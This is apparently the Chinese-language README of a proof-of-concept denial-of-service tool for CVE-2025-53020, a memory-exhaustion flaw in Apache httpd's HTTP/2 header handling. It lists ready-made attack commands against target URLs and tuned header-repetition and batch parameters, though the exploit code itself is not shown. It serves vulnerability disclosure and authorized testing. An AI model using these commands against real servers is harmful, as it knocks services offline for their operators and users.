一个针对 CVE-2025-53020 的概念验证程序,该漏洞是 Apache httpd 的 HTTP/2 实现中的一个内存耗尽漏洞,由我在 2025 年中发现。
📖 深度解读: galbarnahum.com/posts/apache-httpd-cve-2025-53020
Apache httpd 在处理 HTTP/2 标头时容易受到拒绝服务攻击。该漏洞是由于在 HTTP/2 请求中处理重复的标头名称时产生了不必要的内存重复。
h2 - HTTP/2 协议库tqdm - 攻击可视化进度条pip install h2 tqdm
python poc.py --url https://target.example.com/
对 HTTPS 目标进行标准攻击:
python poc.py --url https://target.com/api/endpoint
使用自定义标头设置进行攻击:
python poc.py --url http://localhost:8080/test --header-reps 1000 --batches 200
使用多个不同标头名称进行攻击:
python poc.py --url https://target.com --num-headers-to-repeat 3 --header-name-length 3000
带延迟的慢速攻击:
python poc.py --url https://target.com --delay 0.5 --batches 500
该 PoC 包含对 h2 库中 HPACK 编码器的补丁,以正确处理空标头值。此补丁修复了一个错误,即编码器错误地将空字符串值的标头编入索引(将 "" 视为假值,而不是检查 None)。
--num-headers-to-repeat > 1 时,标头名称长度应小于 4000受 CVE-2025-53020 影响的 Apache httpd 版本。请参阅官方 Apache 安全公告以获取具体的版本信息和补丁。
⚠️ 此工具仅适用于教育和授权的安全测试目的。
该项目仅供安全研究使用。请负责任且合乎道德地使用。
| 参数 | 默认值 | 描述 |
|---|
--url | 必填 | 目标 URL(例如 https://example.com/path) |
--header-name-length | 4064 | 标头名称的长度(最大 4064) |
--header-reps | 2063 | 每个请求中标头重复次数(推荐最大 2063) |
--requests-per-batch | 1 | 每批的请求数 |
--batches | 100 | 发送的批次数 |
--delay | 0 | 批次间的延迟(秒) |
--num-headers-to-repeat | 1 | 创建的不同标头名称数量(依次使用 a、b、c 等字符) |